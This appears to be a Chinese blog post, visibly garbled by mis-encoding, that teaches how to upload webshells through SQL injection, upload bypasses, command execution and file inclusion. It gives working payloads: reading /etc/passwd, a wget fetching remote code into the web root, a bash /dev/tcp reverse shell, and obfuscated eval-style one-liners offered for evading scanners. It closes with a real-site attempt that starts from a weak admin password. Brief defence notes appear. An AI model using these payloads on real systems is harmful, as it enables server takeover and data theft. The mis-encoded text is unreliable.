我們?yōu)槭裁匆肭忠粋€網(wǎng)站
我覺得以我現(xiàn)在的水平無法回答這個問題。
但是我客觀的認(rèn)為,入侵一個網(wǎng)站最根本的原因是想拿到我們想要的數(shù)據(jù),
不管我們是站在的立場是什么。
什么是webshell
webshell就是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,也可以將其稱做為一種網(wǎng)頁后門。黑客在入侵了一個網(wǎng)站后,通常會將asp或php后門文件與網(wǎng)站服務(wù)器WEB目錄下正常的網(wǎng)頁文件混在一起,然后就可以使用瀏覽器來訪問asp或者php后門,得到一個命令執(zhí)行環(huán)境,以達(dá)到控制網(wǎng)站服務(wù)器的目的。
1.webshell用于網(wǎng)站管理,服務(wù)器管理根據(jù)FSO權(quán)限的不同,作用有在線編輯網(wǎng)頁腳本、上傳下載文件、查看數(shù)據(jù)庫、執(zhí)行任意程序命令
2.另一方面,被入侵者利用,從而達(dá)到控制網(wǎng)站服務(wù)器的目的。這些網(wǎng)頁腳本常稱為WEB腳本木馬,比較流行的asp或php木馬,也有基于.NET的腳本木馬與JSP腳本木馬。
我們?nèi)绾纬晒Φ纳蟼饕粋€webshell
- SQL注入(mysql,oracle,mssql,具有file權(quán)限)獲取webshell
1.連接當(dāng)前Mysql數(shù)據(jù)庫的賬戶,具有File_priv權(quán)限
2.知道網(wǎng)站的絕對路徑(通過php報錯信息,load_file,google搜索報錯信息,phpinfo.php)
3.mysql有權(quán)限到網(wǎng)站的目錄下寫文件
4.而且單引號不能被轉(zhuǎn)義
5.可以通過爆出敏感信息,登錄后臺(配合網(wǎng)站后臺功能實現(xiàn)上傳webshell)
利用load_file('/etc/passwd')讀取文件
index.php?id=1 union select 1,2,3,'<?php phpinfo(); ?>' into
outfile '/var/www/html/phpinfo.php'
防御:
1.數(shù)據(jù)庫連接賬號不使用root權(quán)限
2.php報錯功能關(guān)閉
3.mysql賬戶沒有權(quán)限向網(wǎng)站目錄下寫文件
4.過濾單引號
- 上傳漏洞獲取webshell
1.利用網(wǎng)站編輯器(editor)存在版本漏洞
2.網(wǎng)站編輯的上傳功能
測試上傳,
1.本地繞過(文件類型,MIME,文件內(nèi)容)
2.截斷上傳,/xx.php%00jsp,實現(xiàn)上傳木馬
3.上傳.htaccess目錄,控制解析的腳本。(利用jpg后綴的解析php文件)
4.繞過黑名單。
3.利用解析漏洞(查看web服務(wù)器,類型,版本)工具firebug,burp等。
有apache,nginx,IIS,php-cgi
防御:
1.使用服務(wù)端驗證
2.檢測文件類容
3.文件類容加載,和二次渲染。
- 任意命令執(zhí)行
條件:
知道網(wǎng)站的絕對路徑,apache對網(wǎng)站目錄有寫文件的權(quán)限
其實任意命令執(zhí)行漏洞,就相當(dāng)于webshell
1.直接讀寫文件(寫一句話木馬)
index.php?command=echo "<?php phpinfo(); ?>" > /var/www/
html/phpinfo.php
index.php?command=wget -O /var/www/html/phpinfo.php
http://xxxx/phpinfo.txt
2.反彈shell到本地
1.bash -i >& /dev/tcp/10.0.0.1/8080 0>&1(linux環(huán)境下)
執(zhí)行遠(yuǎn)程Samba里面的二進(jìn)制文件
2.在windows7環(huán)境以下,
\\10.0.0.1\shell.exe
windows8環(huán)境以后powershell
Powershell經(jīng)常通過注冊表,開始菜單,或者計劃任務(wù)來實現(xiàn)自啟動的目的,通常用sysinternals的autorun就能找到了。
另外C:\Users\\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1可以達(dá)到和
C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1一樣的效果。
防御:
過濾單個特殊符號,使用escapeshellarg和addslashes函數(shù)過濾。
- 任意代碼執(zhí)行
條件:apache對網(wǎng)站有可寫權(quán)限,執(zhí)行代碼獲取網(wǎng)站目錄
1.index.php?code=file_put_contents($_POST[f], $_POST[d]);
f=phpinfo.php&d=<?php phpinfo(); ?>
如果apache沒有對網(wǎng)站目錄有寫權(quán)限
index.php?code=eval($_POST[1]);直接寫入一句話。
- 任意文件包含
1.利用include和require函數(shù)包含上傳的文件或是圖片。
2.包含日志文件,getshell
1.先讀取/etc配置文件獲取日志文件的路徑
2.然后使用curl請求服務(wù),在請求后面寫入一句話木馬
3.或是利用burp抓包,改包,將php代碼插入到get請求中,或是user-agent中。
3.遠(yuǎn)程包含一個有木馬的txt文件
防御:
過濾.(點)/(斜杠)\(反斜杠)
使用open_basedir配置限制訪問限制指定區(qū)域。
- 網(wǎng)站后臺自帶的功能
1.數(shù)據(jù)庫備份功能,數(shù)據(jù)庫恢復(fù)功能
2.文件管理
3.可以控制上傳功能
** 如何查殺webshell**
靜態(tài)查殺特征:
1.特殊敏感字符eval,file_put_contents(),include()。等等函數(shù)
2.phpinfo,system,php_uname,chmod,fopen,flclose,readfile,edoced_46esab常見的特征
3.利用編碼
<?php
@$_++;
$__=(“#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);?>
<?
@$_POST[0]($_POST[1])
<?
@eval($_POST[1])
來實現(xiàn)免查殺
4.使用調(diào)回函數(shù)callback
<?php
function funfunc($str){}
echo preg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")',
$_POST["cmd"]);
?>
cmd=<title>{${phpinfo()}}</tile>
5.利用include函數(shù)在腳本文件中加載一個
include_path = “E:\PHPnow-1.5.6\htdocs;”
這個配置信息表示加載頁眉頁腳的文集位置,path規(guī)則是”\path1;\path2″,表示將path1路徑的
文件夾下的頁眉頁腳文件添加到path中的文件中去,因為這里是一個‘.’表示根路徑,
這里就相當(dāng)于添加到了主頁上面去了,然后hehe.asp文件里面寫上一句話,
就可以通過php添加頁眉的共能,將一句話寫入網(wǎng)站首頁。
6.拆分法(asp)
將<%eval request(“x”)%>拆分為<%Y=request(“x”)%><%eval(Y)%>,雖然繞過的可能性很小,但是也是一種繞過手法,也許有的服務(wù)器,做了很多高大上的掃描方式,但是遺漏小的問題。
還有拆分法加強(qiáng)版:
<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>
實例
找到網(wǎng)站后臺,弱密碼登錄。
利用網(wǎng)站特有功能,創(chuàng)建文件夾,和文件上傳功能。

然后上傳一個php文件發(fā)現(xiàn)不允許上傳。
![]J$8C4.png](http://upload-images.jianshu.io/upload_images/2495234-2a1a151552b6d3fe.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
通過本地抓包,修改文件后綴。

成功上傳php代碼。

不幸的是,他有waf,現(xiàn)在的水平只能望而興嘆。
